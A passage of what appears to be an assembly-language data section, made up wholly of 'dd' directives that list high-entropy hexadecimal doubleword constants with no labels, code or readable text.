0D42D4FA2h, 0C2315035h, 4071E92Dh, 1826BF43h, 0CA73C11Bh dd 7D8223ECh, 8037BB48h, 0F358929Dh, 7CBC0082h, 69E9670Dh dd 0D0EE2B97h, 59CB2735h, 0F6222A7Ah, 6B749D84h, 712605E2h dd 51444F1h, 5FDD83CEh, 219F220h, 0E96FB158h, 0E1677185h dd 58C6A08h, 0EA2E0168h, 41BC160h, 0F80E4E05h, 169682FEh dd 8190C25Bh, 50026158h, 0B5F721D0h, 475892D6h, 4EE40029h dd 5C35D0F7h, 38EFE93Dh, 28A0405Fh, 77E32A5Ah, 1DDDEE96h dd 0BC5D5CAFh, 40E8D632h, 3BE381A1h, 11766A6Ch, 232DF302h dd 5743468Bh, 98F5AF20h, 1696A91Ch, 8C6BDE25h, 0CE6353F3h dd 0F103850Ch, 0BC90AA65h, 76C18113h, 7F083178h, 9129086h dd 4947E371h, 0C5A9407Fh, 7E101360h, 3950BB0Dh, 592385F0h dd 0C003B088h, 0F03A9D9Ah, 7A97517Bh, 236709A1h, 0EC16141Ah dd 0A0F6CD0h, 0E313D668h, 5683B889h, 0AB529646h, 59501A87h dd 1363B450h, 0F7923CE9h, 537D7F05h, 0C4CB122Dh, 208DB286h dd 0B32C4E1Bh, 291E932Ah, 22953189h, 0D37FF015h, 31D4A45h dd 62BA69E2h, 2A07E7D9h, 2805A3E0h, 1F334F1h, 20023FE9h dd 0A0F90109h, 5F5A083Ch, 3084EDBDh, 7AB10441h, 0C88DF1EAh dd 0DCEA50C8h, 0FE9DE1EEh, 0C42C50DAh, 21B9579Dh, 24F82F5Dh dd 0B85D3C4h, 0ADCCA25Bh, 0D6466130h, 0A06159F8h, 121E8E66h dd 4021529Dh, 5DD9F683h, 0CC731E1h, 6A0407E2h, 0D6ACDD82h dd 60A49D4Eh, 0ED562D01h, 0C601401Eh, 7C7F8B2Eh, 29E10D70h dd 215CE000h, 3F1C5847h, 52020126h, 15F59C1h, 0A49DFD89h dd 192445F5h, 0F591FB66h, 2FA7055Ch, 4B208EF8h, 0E87295AAh dd 719BEE25h, 5A8D8B91h, 5758B698h, 3B30779Dh, 45D683E9h dd 7ECE40BEh, 21FEAF43h, 324FF37Fh, 1EE75E4h, 1A45787Bh dd 285E5556h, 0D5F7A137h, 5101DA8h, 9305B9F6h, 1B2BC017h dd 425F754Ch, 8007EE5h, 0BDF5ABE9h, 0D6A0147Eh, 5271D009h dd 0D539261Ah, 0D32D300Fh, 0F8016E7Ch, 8B9512Ah, 2DFEC84Ch dd 13AF768h, 0B1D5277h, 79466BFDh, 8E3A1C59h, 3E4908E1h dd 0FE77F849h, 0ADF6817Eh, 0F006436Ch, 65B7CDF9h, 0E8AD12C0h dd 0B66C4B69h, 8ABE24E9h, 80574B4Eh, 1E6926A1h, 0FB014B5Dh dd 0C0402CDh, 0C8ACC094h, 2C91FBF5h, 6800B49Ah, 0A52D5410h dd 25735174h, 5B5EFA06h, 6BAF0404h, 4BA51256h, 0A03E821h dd 0E9970B01h, 72999F65h, 10262009h, 0C0258958h, 0C158BF68h dd 15E1720h, 0D4CAFCF2h, 60DD0428h, 21801B59h, 4E6374E1h dd 61C9A443h, 36CC3A14h, 2A4504ADh, 41BC2040h, 50E9520Bh dd 8F2DAED8h, 71305C04h, 32F97E34h, 0C6F25EA3h, 4E656810h dd 0E262B87Ah, 23404C6h, 0F25E5BE9h, 0E55E9D0Fh, 535F36C2h dd 0EF509667h, 43B8C690h, 5E3D2F54h, 6E95CBF8h, 0AF2BB54Fh dd 0F424B4D0h, 76A72E91h, 0EE6644DBh, 0D17B1C3Dh, 7C7D018Bh dd 0D3CFE434h, 0CE43AE00h, 0E8C1485Eh, 5C2F5E90h, 42A624F2h dd 0CF8A8B1Eh, 73DA1FCBh, 7E0110E3h, 0D278C466h, 0D084FA31h dd 0BB535AD0h, 0D51704E2h, 0DC93E550h, 249F9C15h, 76A00400h dd 3C492E18h, 32792D47h, 0E84D7704h, 0C1ABFC84h, 6A5645E9h dd 68C368BCh, 65124F31h, 4437C643h, 5B934C83h, 5EC19210h dd 0D74AE4FDh, 140F98Fh, 5A6B7FC7h, 9EFD564Eh, 185FDE34h dd 5F7E9C68h, 0F582D988h, 3119E000h, 28BD68DDh, 4A28085Fh dd 84D94Bh, 3DFEE756h, 260DA8BBh, 184A662Ah, 8D9F1DF0h dd 4AFA8C7Ah, 20EBFDA4h, 57B313C3h, 136F0C3Bh, 1BB4636h dd 911F52F4h, 0CE9C2425h, 4E2E69F0h, 889D376h, 0E8BAF82Ch dd 0F8167E0Bh, 19CF74CBh, 0C44330D1h, 0EBE7E05Fh, 8422E913h dd 939F6DBEh, 21857AE6h, 0F84529EEh, 248343ACh, 2DD468Ch dd 66C56198h, 18C8343h, 9F31C7B9h, 51188D20h, 6882180Fh dd 8FB7EB8Eh, 2D7705D5h, 781AD6FFh, 5F9D74B0h, 5197AF16h dd 67E91E66h, 717766E2h, 0D68BC97Eh, 57217060h, 25A1C2Ch dd 0CF354918h, 0B60612D5h, 6A430123h, 6B63B972h, 5BF2D10Ch dd 0D184160Fh, 0D294FBDCh, 0B47A3E04h, 14CFFF13h, 60AFE90Eh dd 0C3A6BF12h, 6FC6022Dh, 7CC4FCB6h, 0B32D0590h, 2EDD3A34h dd 4AFD6DBFh, 0EBA713FDh, 0DC9CB20Bh, 97C38970h, 0CF6390F5h dd 2711BD33h, 9EA2411h, 0C51560BDh, 51FBB7C9h, 0A9170C10h dd 586BF30Dh, 82A14E6Ch, 0FED25667h, 7DD4A8F7h, 0B3886716h dd 7E3114A1h, 0E2A081DBh, 0FAEC6269h, 0B0508078h, 895DC378h dd 978C4C54h, 84950BFh, 1759FD5Eh, 6C217E9h, 8116D5ADh dd 2F677B20h, 0BF5C5E54h, 9D51AED0h, 8630316Eh, 81663A7Ch dd 52282EEDh, 67039EB3h, 767521E2h, 9AD0805h, 9067F51Fh dd 2C68024Ah, 6F354450h, 559AB8E3h, 58D3D3A7h, 870C0DC5h dd 9C27E09h, 0F9E7D7Eh, 0F53FE390h, 2BC25B67h, 494B5E8Eh dd 555C60F0h, 671929C9h, 0DA029AACh, 0F4364B46h, 0C9069C4Dh dd 188C08EFh, 21176865h, 0D4F45BDFh, 9E3C0960h, 3A02298Eh dd 0CCFD74B7h, 0BC6FF482h, 0EA561772h, 0EB5BA02Bh, 0D55F7E49h dd 70580938h, 0E57B17B2h, 29A6F59Dh, 2B4C1A4Eh, 533B1294h dd 9D1019B3h, 657861A3h, 0F120601Ch, 0FC524C2Eh, 81EE048Ch dd 0E6F3EF09h, 177C82A4h, 5EF80C2Dh, 1D9B412h, 0EFC14FAFh dd 5FD01003h, 11C70DCCh, 30582D6Eh, 7D826817h, 572761DBh dd 9BFEB9Ch, 6979F4A3h, 0E0756D82h, 0A54840DCh, 0B635E3A0h dd 0FC165FCFh, 4B5962AEh, 2A9294F2h, 84208B0Bh, 68F08509h dd 50B3F920h, 0DA237B0Fh, 455F3022h, 2268AF4Bh, 949DAF65h dd 0D18E2590h, 1E42E2D9h, 0D2F7020Bh, 0F272E8DDh, 3D1A124Ch dd 0C954B43Fh, 67D9964Fh, 821C497Bh, 4D952277h, 0FAD9E652h dd 0FA0F9AC0h, 0EA37A334h, 27040912h, 0AEBCD505h, 0A88A36D5h dd 944AE90Bh, 7A29E229h, 8A2C6578h, 0EECA5E3Ch, 9E4CF7A5h dd 9A0B3709h, 83E424Bh, 508C5ECh, 0D112E5h, 2B6CE72h, 229832EBh dd 1874849Dh, 8FC466BCh, 0A5F3003Ch, 0B8386203h, 40434179h dd 52361B3Bh, 0BA351972h, 16BB0D1Fh, 3AA7E11Bh, 46BC7F1h dd 17AE2CA3h, 89501DBCh, 0BA221F29h, 0E0B4931Ah, 8E95468Bh dd 0C0B6058Fh, 52B0DBA0h, 84389A0Fh, 7F64E3CAh, 0B355A634h dd 0E7BABB13h, 465F77C3h, 0BE4A4EAFh, 0C1633493h, 45B8ED0h dd 1605881h, 0A401AB05h, 18C4057Bh, 0E9350200h, 0D5A0CE13h dd 5364D2BFh, 45C241h, 9522DD68h, 7B9DA9CCh, 10FA1006h dd 5D3F3D2Ch, 79542F2Fh, 0B757C25h, 0C5D55857h, 71F84EEh dd 0AE81FB88h, 43AF2DE9h, 8DF2D029h, 9289CE9Bh, 0FBA2881Eh dd 5F7F570Bh dd 95DC7D18h, 55E0E996h, 2D48C268h, 1EC14616h, 75173FAFh dd 47C7F9Ch, 0E903A23Ah, 81DE95BFh, 71123199h, 0D83848EEh dd 6D722D1Eh, 71405BDDh, 687B9305h, 21CCB7A8h, 3F9683E0h dd 65EB80E1h, 0C06DE4F8h, 6EB9E361h, 0E0BF5623h, 48612236h dd 5D1A1DFDh, 0ADCA7A4h, 0B651DA25h, 3C7F7AD4h, 7973BD14h dd 5A8FDE2Fh, 946A66D7h, 4B364218h, 393F540Bh, 2908CEAh dd 5CCE3315h, 4DC78148h, 0B18379DDh, 7868AD0Fh, 8C1511Ah dd 0C084EC3Ch, 4F05001Ch, 3E44E134h, 0D212D029h, 0B51CB868h dd 0FC7BCD0Ch, 80A701B4h, 0E2200BECh, 82B23F58h, 0BE951C2h dd 0E95CE0A9h, 7253558Bh, 767A0569h, 0F82167C0h, 4DDB13BBh dd 2BDA39BAh, 22FF7B91h, 801AB400h, 0FA8EF425h, 6E12E6Dh dd 44FE4311h, 5834347Ch, 0D8849883h, 5A2F24B8h, 215DBC60h dd 8D87B9Dh, 810096BFh, 9D6DD1EEh, 352BF67h, 3BD5CE02h dd 434E0F14h, 557CF277h, 1F271446h, 26D86656h, 82CC8475h dd 0A8F5D0Eh, 296273D1h, 0C5010286h, 9A9DB27Fh, 4592861Ah dd 5AD5776Dh, 0BDC181F2h, 4D6D342Eh, 0C2BD38F6h, 8FFC5DB9h dd 0BE7CE3F1h, 0A390A84Ah, 43ABF9C3h, 905D1EAFh, 0A25504ADh dd 0EDA94008h, 56A616FCh, 0BA1FC420h, 76D05880h, 0BB111AEBh dd 485F0BD4h, 826CFE4Bh, 747BA980h, 3BB89FBFh, 0D26B6145h dd 0DBFC05A4h, 9FA4782Dh, 0DF6B00F1h, 0D3D24342h, 0FD3598h dd 2D5250BFh, 2F73B91h, 0AF57C3D7h, 0E90B100Bh, 41904870h dd 2625BE05h, 5D52A437h, 4B4ABC9Ch, 48AFB656h, 20B62524h dd 965533C6h, 3E1B5EAh, 0AE173F1Dh, 882EED69h, 4F4B0F8Bh dd 4FFFF08Ch, 8DC33420h, 0CC48498h, 64BCF515h, 0F937D400h dd 7446E96Bh, 5BE75CBCh, 530D58C2h, 20C22866h, 5A5F47BDh dd 2A689228h, 0F040570Ch, 0F7C2F990h, 9B4AC2F9h, 950B3F18h dd 637BB742h, 0E304688Ah, 0BC1225ACh, 4A9EC7E4h, 133FB830h dd 301FB652h, 3CA32D92h, 95C0F22Dh, 860BDEF6h, 70C8FEF0h dd 25B27F4Ch, 0E6DDA348h, 992B725h, 41E25BFFh, 6B20DA68h dd 0E93F43E6h, 25D63C29h, 0E9F83AD4h, 7589A16h, 600C45B9h dd 924CA519h, 256A291Ah, 0D442895Dh, 2BC57156h, 0F5B218ECh dd 0BD6A16F7h, 56A7E467h, 0E30C534Dh, 8CEC91E9h, 55549DB8h dd 4934E6A8h, 0F5BA6B4Eh, 0E777F6A1h, 1599331h, 7729541Bh dd 0C9A06E2Eh, 0C5876013h, 0FF10BEF3h, 7AC844CFh, 0D65C5D70h dd 9D418A58h, 0E357A1A9h, 0F8EFB0FAh, 475A0B36h, 0BA0BF729h dd 0AC5ABDD0h, 0A6C186E2h, 0CE07E2C0h, 6E8002F7h, 0A8FC0965h dd 0AC021DA6h, 61340F19h, 0FA2C457Dh, 0DC20CE90h, 0B0A8049Fh dd 8AAF12AAh, 23EE4F2Fh, 912C1751h, 7ABAAE5Eh, 0A061AE2Dh dd 0A268EB05h, 66FCB70Fh, 0E843D81Dh, 27273503h, 31DE75DEh dd 3D4A0208h, 65C2E200h, 0EA873AE3h, 4829D9FBh, 96411B53h dd 0DFB3987Bh, 0DC166069h, 0AB6885ECh, 0E02C8D1Bh, 2DC96E38h dd 0E38D69D4h, 40874680h, 0DFF72F53h, 0AC9295DEh, 0D3BBB604h dd 5F5231AEh, 0C32901B1h, 41330F30h, 70C86080h, 0D49D93B2h dd 0DC933FADh, 0C31FB77h, 283F1F25h, 0D2BF20A7h, 0E3EB481Dh dd 0F389D33Ah, 43D830A8h, 21C7CF7Ch, 0C7E3F2E7h, 18F883E2h dd 5358AF1Ch, 791E54C3h, 63C95310h, 0A08F138h, 0BEAED768h dd 0D16BE8BBh, 2F69C557h, 0E8850456h, 20A7555Dh, 0A6843848h dd 0DE04BC58h, 0E352FC52h, 80D23A01h, 0F7CC3FCFh, 5CCEFD03h dd 0E43500A0h, 53E883Dh, 0CFA9231Fh, 38C6890Bh, 0BBBEEDEh dd 4637A45Ah, 0AD82A38h, 0DF46189Dh, 639247Ah, 4A013869h dd 1D681E15h, 0D4326B11h, 6C7E38h, 0DC177DBEh, 9498814Ah dd 493E5F17h, 0A4774E0Ah, 8E96141Ch, 0E0E2FEB1h, 827D6F53h dd 94C48808h, 0C39FDF16h, 0EE3B46CDh, 238042D9h, 0A920D693h dd 0D059F3E9h, 3E139624h, 0E70277C4h, 888858D3h, 20E3203Fh dd 5A649618h, 0BD12A742h, 52F1C523h, 14BBE857h, 274EF372h dd 9CDD3B85h, 23799F18h, 9ACE5D6Bh, 0A0DE8E20h, 1C4D3EE3h dd 80482D67h, 9DA8B29Fh, 29E3C9E9h, 37C60548h, 2DC21835h dd 84D70BBDh, 0F3C2332Eh, 0C435000Fh, 30255413h, 25DB8040h dd 75B58BAh, 4880D3Eh, 0C9009976h, 7D731A33h, 23A8E916h dd 0E48174A4h, 3A4C0097h, 0FABB531Ch, 6AE55F0Bh, 501329ACh dd 0F9774F6Ah, 0A6C0EA96h, 7B8FC7ADh, 7DF48489h, 4713C594h dd 0B103B700h, 9509F4ACh, 70C57680h, 6B5947Eh, 0B0070533h dd 92DB01E0h, 0A0E9C5DAh, 0D37DC20Ch, 0A058EA8Eh, 8D492FA8h dd 0CA4252F1h, 2908091Ch, 49991DB5h, 0E9077687h, 1B43E7E3h dd 46D42FDh, 9B995808h, 36683A84h, 8F32AB08h, 2FA354F6h dd 69C2CDDCh, 0FA8C412h, 3B611687h, 4DB0AF72h, 2F69ED01h dd 0C838AF96h, 5B62F566h, 133E2F10h, 3605F329h, 3BA3698Eh dd 436B7104h, 0A64C23Eh, 58ADA1C7h, 0A990E7h, 5FBB576Bh dd 43100F58h, 0B43DF7CEh, 750B7589h, 2F6050h, 2B41B2ACh dd 0EB31095Eh, 72A2C3E9h, 0EC40DEF7h, 963420F9h, 0CB091032h dd 0F0A9C45Ah, 0D5C29536h, 0C1E8D95Dh, 502C57E9h, 40476895h dd 140D482Dh, 0EED126CDh, 77420329h, 80F71A37h, 8F30F3Dh dd 67A0CA92h, 0DF3F2313h, 44CF8739h, 779BD032h, 9540384Ah dd 0C75C86CCh, 12086CDDh, 6B76B5CDh, 1C526658h, 0C253C688h dd 0DEB4E9CBh, 0E97C5475h, 8FE11A02h, 0E8022B0Ah, 80423F02h dd 7B12B9A8h, 0E52B922Ah, 7AE90841h, 0D029AD64h, 0C509CABAh dd 3582E03Fh, 0F7747E90h, 311086A4h, 5CF3D140h, 64309F37h dd 4819CC5Eh, 75027EE3h, 5D6785E9h, 6F890322h, 80D1F600h dd 308412C1h, 7FCA21CEh, 0FE38A41h, 9109C2B6h, 5B01740Dh dd 4DF9D9C3h, 0FBC92B7Bh, 6AF56342h, 976A75B3h, 0F49AB543h dd 0AEB84B60h, 0EED38880h, 2456BDAAh, 8440A96Bh, 0E95D2E4h dd 0BE8B95CDh, 744937B5h, 0A7092E38h, 9F7157F6h, 514D2817h dd 0CFF78BFBh, 643556FBh, 8B66BE5Ah, 27727B7Eh, 4F7E2AA2h dd 5C22B4DBh, 21CFB760h, 813AB600h, 510C9CF2h, 92F59D2Fh dd 160FD5FCh, 0ADE874CAh, 0CAD1DA62h, 0B5675D69h, 5D2D0621h dd 793FB920h, 3DB8460Ch, 0E14E3B55h, 0F5842A7Bh, 1A3CCABh dd 28BDA0Bh, 0C2F1D65Ah, 0CB0E0BE7h, 2A277F77h, 3EDA1968h dd 0E89F1A7Ch, 3F19463Eh, 4B933F38h, 0C70BBC75h, 44404750h dd 1D28F181h, 816BE206h, 0CC4988E1h, 0A7A4966Eh, 0E26AA49Dh dd 48BE0298h, 823BEB51h, 13F14FBh, 520C8D68h, 4F685534h dd 332F30B7h, 41897F4Eh, 60A962DDh, 80584B3Ch, 7F17C2BAh dd 4C840C48h, 5EC0F6BEh, 0EE4C05ACh, 3264EA10h, 44FE5C50h dd 89EFB66Ch, 4BE21DE9h, 0BCD61C55h, 89931752h, 3EDEE12Dh dd 0DC58E609h, 0E86C4C59h, 42763CB2h, 4D919624h, 0B00A578Bh dd 0BE6D1B95h, 0C57549F1h, 0CF6807ECh, 4DDD0B28h, 59582458h dd 736B7051h, 0E5CE0FCEh, 0BDB9A1FEh, 0FC920192h, 3B518565h dd 2EDF018h, 0F03D4F4Dh, 0D740326Eh, 805B4C66h, 8082B174h dd 98B35302h, 0EE26E380h, 0B5088CFEh, 0DDF709A5h, 23405D00h dd 0E897423Ah, 79E6F526h, 0E93D0A67h, 8AFE6665h, 0A07141CAh dd 9A74E9Fh, 0E3DD5B83h, 0E3E9857h, 2F167F02h, 8F98F2FFh dd 85011482h, 6EDC177h, 162B8DE9h, 0D88B80EFh, 0FB2CB925h dd 86094A89h, 5DA9E950h, 4AC083C4h, 3AD9FE02h, 12608B2Ah dd 0B9090288h, 0B5FD968Dh dd 501D09D9h, 25DB6F8Ch, 940509F3h, 4FF860C7h, 0E6F56B1h dd 77CC325Ch, 30514074h, 4E5BFE3Ch, 0BB7B84EAh, 0B3B01DF9h dd 1832E929h, 0FFBE2CD5h, 0F30BD84Ah, 0ABDB93DDh, 0BE6D5A8Ch dd 2126284Bh, 7AB5682Bh, 8AD2CFADh, 0D9244576h, 5860264h dd 5F0848C0h, 0C903FE01h, 0F7A23ABFh, 5FD7F897h, 556861F9h dd 7EF9BDF8h, 35F8B01Dh, 0FF26E4A9h, 0F77FEB82h, 296F0C10h dd 0C2954473h, 0D37455CAh, 794FA685h, 0A2EB82BFh, 9B2E285Dh dd 4B39AE43h, 2444AA97h, 2C82DD79h, 0C15A0488h, 0AD36FC31h dd 0D1D0CB6Dh, 0F323538Ah, 40D5450h, 0F74C0448h, 57F5D0D3h dd 81026DB4h, 3917CDC2h, 97FB6059h, 9404164Eh, 0A8680B21h dd 6C31FAE1h, 42C24ECFh, 1E0909D1h, 4595DB57h, 9362EBD0h dd 76F5D0C5h, 9F44E84Bh, 0A7B95676h, 3C4CD5FBh, 11630216h dd 0F1001EC4h, 7EA117DCh, 47DF24F7h, 10260597h, 0CFE0C0B6h dd 3F057965h, 1663E928h, 0A00EF14Ah, 92C18180h, 0C708205Fh dd 6173590Ch, 2ACA011Fh, 0F14B4F2h, 0E98542C8h, 0B037B010h dd 704114Ch, 80CB864Dh, 0AF3001D3h, 7617822Bh, 65B05B8h dd 0D954A2C6h, 98DA0195h, 0E1CA724Ah, 0F5A05E9Ch, 7D850FC7h dd 2C664175h, 0A0EC41E6h, 874821B2h, 7E11309h, 8D25FFh dd 3263C332h, 0C078B70Fh, 4A156813h, 40ED0788h, 9312BEC8h dd 0D4051F43h, 0B2BBEAF1h, 1BB4078Eh, 5880E188h, 20E9CA30h dd 0E7B0911Ch, 35255A7Bh, 0ED7454h, 0AB46232Dh, 8803056Bh dd 0E978012Eh, 95E39E33h, 0A8EB3880h, 0F9E3026Ah, 3E113539h dd 30C95880h, 9CE76259h, 300CC047h, 0BF731EC5h, 7E87C871h dd 27F55C27h, 54E43159h, 5DFB6AC5h, 936B9306h, 0CEE9E3C6h dd 1FE32B5Ch, 5588C0Eh, 0C8E75E0Ah, 54E403BAh, 840E442Fh dd 0DF34AD6Fh, 8DAADFD2h, 936138CEh, 5146608h, 0AB88EFE9h dd 0B8A2328h, 5911AB6Eh, 896AA55h, 9BBE4B3Bh, 53B5D3Ch dd 276B6C67h, 0DA58EC00h, 16530750h, 1230428Fh, 0E1BCB878h dd 618756D5h, 246CFCC5h, 5B37AF7Fh, 3B622230h, 422D5EA0h dd 0F44DE9A7h, 57153AFDh, 565859D6h, 0BD003BEh, 68521666h dd 7B1570DBh, 4AD72DCBh, 0BF0710EEh, 24F94A2Dh, 0D74C7DC9h dd 1A001D4Ah, 0B450C7B3h, 0E3081694h, 43AE0958h, 102C6700h dd 715F91E9h, 605A7822h, 270DCB4Ah, 86F70EEBh, 0FF8B60C5h dd 4C67456Fh, 0D794FD4Fh, 89A028EEh, 786C35Eh, 135F9762h dd 5DC6DA7Ch, 0E9A8677Bh, 5492F527h, 95F173C0h, 12F506Eh dd 0E6952477h, 90C1A0DCh, 837EB1F9h, 3A31E3BBh, 5B19E4FCh dd 0D0513B65h, 0C47EAFE0h, 0AB9A7C78h, 66CA87F9h, 3FC042A8h dd 0E1536876h, 752B675Ah, 19B046Ch, 7ABC1351h, 0B367E84h dd 9141575Fh, 2403CF68h, 0F180C9FEh, 0B3921CF0h, 18D9178Ah dd 0E04BD291h, 0D52EBA81h, 5EC9FA13h, 406FCCFDh, 6EA2F66Bh dd 7CB7423Bh, 135F0204h, 0EBA83D38h, 95E0407h, 844CF857h dd 92E83AFCh, 0C785C4h, 725795BFh, 37AD987Dh, 615B1842h dd 889740A2h, 0BA89F2Ch, 0B200C383h, 0B52023E3h, 66EC3050h dd 0CDA4913h, 456B0100h, 32E91D8Ah, 5D34BBD4h, 0EA550942h dd 32EA7670h, 50775895h, 91B9053Ah, 0C341C843h, 0D3C8D74h dd 8EBBCB01h, 3BC145DBh, 4AEFA03Ch, 0D7CFFA5Dh, 0BA294335h dd 0A6AC0F56h, 4E86DE16h, 0C9E6D7CAh, 91BE4Dh, 63F81980h dd 5CE829F1h, 5315B5Dh, 0AD284B68h, 10BADED1h, 0B2680B79h dd 0BAD0D138h, 0F4E66427h, 4F534E38h, 60EF8CBAh, 90BF354Ah dd 228ACE26h, 13404948h, 0F688E84Bh, 7AD99731h, 4AE88069h dd 971E675Ch, 3B2F226Ch, 943BDF82h, 7A49E4E1h, 169FC4E2h dd 0E843FFB6h, 80668BE5h, 4FD5F720h, 0AA50F053h, 519B7A12h dd 147140BFh, 89E8A7A0h, 7C43D748h, 29081512h, 4C3C6404h dd 0A1468CBAh, 13B87507h, 6DC7F181h, 0F52D2710h, 1DB3301Bh dd 37246FC4h, 0C6123B7Bh, 85010A28h, 59F4E9F8h, 6410E939h dd 2AB90393h, 0D26E4B06h, 90D8F8CFh, 814C5BA3h, 0EE3F4Fh dd 2CBBBD55h, 552C42h, 0BCE3B1C5h, 0E97109EDh, 77B3CA71h dd 641B1C09h, 0F45560A5h, 76F45F5h, 0C527095h, 6B2A14DFh dd 0F8F326C6h, 0C84E896Ch, 0AB3ECD29h, 93B86E13h, 55E6442Fh dd 9A09909Fh, 6279B4E3h, 457DAC1Bh, 89579FB1h, 0A8D63A0Ch dd 0E4AE5865h, 34693F82h, 0C44E5D38h, 707BE4Eh, 7E2EC180h dd 0FAF8FF52h, 0CE20C79h, 730AC2FEh, 0E98CD4FFh, 5CB36A2Dh dd 2F62ECFBh, 28A66C91h, 60CB5C6Bh, 0E7CA4AF2h, 0AD16B84Eh dd 0F78170AFh, 7AB0CC10h, 50049789h, 3368590Ah, 0C12568F9h dd 0F6E40DBh, 6BDD417Bh, 3033450Ch, 1D1F4E45h, 0DB961CE7h dd 4B4141C0h, 0E12E4E77h, 8743B10h, 71B4F7AEh, 0D7E89569h dd 0E90948C7h, 4DB7C2F9h, 83318B2Ah, 0A4BAFD9h, 0B9815A2Ch dd 363B29Eh, 0C829F17Fh, 50B505E1h, 4109E47Fh, 31CC2B76h dd 6CC60181h, 29031955h, 595E3EEh, 0D061E908h, 0C7835FFDh dd 29B2015Ah, 0CE1BAA02h, 2BC1977Ah, 0DD02F738h, 0FB3452C3h dd 3F3DFC16h, 0AA9B3912h, 0D1D3E1B2h, 64731713h, 0C7138012h dd 0A6BBEF33h, 0D8FB4BB6h, 0AA5AE952h, 8EEE0C13h, 77C31361h dd 0CFAFBF57h, 7A604A64h, 0ECB8BB53h, 4B383879h, 0FD00F5D1h dd 1333785Fh, 5620E96Ah, 1B98EFA6h, 6F3241B8h, 80EBAE84h dd 4A1E8381h, 24EB6F4Bh, 0E692BEB8h, 77BCEAFDh, 5DF1B774h dd 79A6B13Eh, 0FE95D3E1h, 0E9C3FBA8h, 0B362530h, 0C0F39170h dd 308E5F27h, 0CD0A814Dh, 0C6AB69D6h, 802DC501h, 0C5608450h dd 0E8200E27h, 9CDA010Eh, 2C8B0802h, 0F2D6D677h, 0FF77F484h dd 4C9F2DF2h, 681AF72Dh, 0C628FE27h, 54672D24h, 4AE0CE66h dd 97EB0180h, 25860456h, 282AF521h, 45165833h, 84E317B2h dd 0DD9F9597h, 0A2C540BBh, 4731114Eh, 0C33190F7h, 0FB8F1004h dd 1D10D30Bh, 21C53B0Fh, 0A1ACE828h, 0C6C8C888h, 28590258h dd 369E9EEh, 0C1E196FDh, 0B9259F7Ah, 0C357304Bh, 5CE77C12h dd 8413BEDh, 9687130h, 669F6D1Bh, 0EAB2B0D7h, 0B6713A3h dd 6986A0F7h, 5FAC284Ah, 7B83C0F1h, 91174E74h, 820C69EBh dd 6EE95267h, 4F9BDFFEh, 0CED5EE8h, 0AA0DA8C0h, 2A6812B9h dd 81753420h, 0D8D35998h, 5D9BE907h, 0A669BFF6h, 31588CA2h dd 64F2D477h, 83F0BF2Dh, 0B4635BE9h, 4CC155ADh, 27EE6BADh dd 61100D7Dh, 6856005Dh, 54916472h, 5C13F85Eh, 0EDD36CAFh dd 8BBA4F59h, 0D1018584h, 0E90965CBh, 0B9BA5526h, 0C4A39E3Ah dd 0FE857046h, 8B2E9A99h, 30344BD8h, 12598BBAh, 15605659h dd 27461FC1h, 76DC78BFh, 5FDE08A0h, 0F6DF9D0Dh, 87100922h dd 2D583F4Ch, 2D130056h, 4AA55059h, 58E17Eh, 0E8015F07h dd 88E26595h, 5C13B07Ch, 0A14416BBh, 31B36AA1h, 3D7D0C60h dd 0EC90EF91h, 624736C9h, 2D67E60Eh, 0FE3A72D4h, 9F0ACEF6h dd 27BBF4E6h, 10DEC3EDh, 0F78E435h, 29B613B5h, 0C4A80230h dd 41B90734h, 7048110Ch, 738B6D2h, 1C43DA5Dh, 0B20219CFh dd 49586017h, 5F8C01B9h, 25E9F931h, 0ED4659F6h, 78002A0Dh dd 0E87E5605h, 77C2A074h, 6BB8253Ch, 0B04BFE72h, 9EAEE1C4h dd 84C34C8Fh, 0D71F52E4h, 0B115E89Dh, 6827DC3h, 0D50FE953h dd 0C9CE9A57h, 2D862835h, 0AB07BE68h, 0A056230h, 7404460Ch dd 0D0B01309h, 6B06EBE8h, 180EC834h, 0AD404CE9h, 7C1619EEh dd 0CCAF3F7Ah, 474DCCD1h dd 17680BC5h, 20334431h, 0BA052F63h, 54C20E08h, 4FD6F51Ch dd 20EA2B17h, 0A02E999Ch, 236B1FC1h, 0F76805B1h, 443EA748h dd 3C3AEC90h, 13AB0B2Dh, 9DB874C5h, 43D06E68h, 94E9304Fh dd 0B0252C89h, 2D341E2Dh, 11583538h, 0DF556838h, 0D472630h dd 0E0765B1Dh, 0CDB893E1h, 50BD56E6h, 0BDCAC035h, 6D304436h dd 370B6DB0h, 707CD076h, 253C7755h, 2EFE7DF0h, 3DD6E961h dd 9D10427Dh, 0EEE45049h, 6B680A38h, 2183D5EAh, 0CB02164Eh dd 85096FF6h, 0AE25514h, 6E91AA60h, 7649022Fh, 12F38943h dd 2F40027h, 8784E228h, 2CA9B0ABh, 0B450FC09h, 780D0735h dd 0EB57E307h, 5FBE5854h, 0C732B112h, 2EA33B55h, 8AB1DFC4h dd 5D2D4C72h, 55C325E8h, 0F5C9F2C6h, 2188C05Ch, 25F4AF8h dd 16E868E8h, 8D2D0B6Ch, 7923E435h, 0B2FB2755h, 68A19F66h dd 0FFCD2E4Bh, 0B66D0CE0h, 569F848Ch, 6CA8815Ah, 787626Fh dd 7AA72ECFh, 0D62C32B2h, 89AC711h, 28926247h, 14DD6FAh dd 7A24422Dh, 13CB2C57h, 0D7D234B1h, 5A0D7E02h, 8993FE77h dd 0DB7757DAh, 0EB0647E8h, 3A1B3BB1h, 9DE3EB17h, 0BA77BD84h dd 7D940075h, 12818BAAh, 0E6AF54CEh, 0D6F414FCh, 0B9388438h dd 0BBF50113h, 61CA7A4Eh, 4EBD3F51h, 0B49FC085h, 651EDFEFh dd 0A8C96A1Ah, 25E77255h, 0B8513704h, 6DD22DC0h, 21064A40h dd 3E57E9A6h, 459E609h, 84BC96DEh, 0AF82BF4Bh, 0D55B758Bh dd 4991143Fh, 31DA5F56h, 0B07D3B69h, 808C9A9Bh, 7EE4B42Ch dd 0F65269F2h, 0DC61898Eh, 8FF42FB6h, 312B4A7Ah, 0DEB0E9BEh dd 8864F795h, 1F8920Fh, 5017ABFDh, 0D8280992h, 0BFFE4F2Ch dd 71816A42h, 0B6744233h, 0DCDA81E9h, 0B4B9571Eh, 7467F7E9h dd 0F03CE98Bh, 84769FB2h, 44DCF9DAh, 6C04FA5Ch, 46C25251h dd 2CA67DE5h, 14D241C8h, 0C35F9CF0h, 43705CECh, 2DF9AFF4h dd 0F3258F94h, 0F18141A0h, 513B21EAh, 68C90327h, 4492E54h dd 0E8DAAB18h, 32B8BE87h, 0F6E2DF27h, 6940F3F7h, 0B982745Eh dd 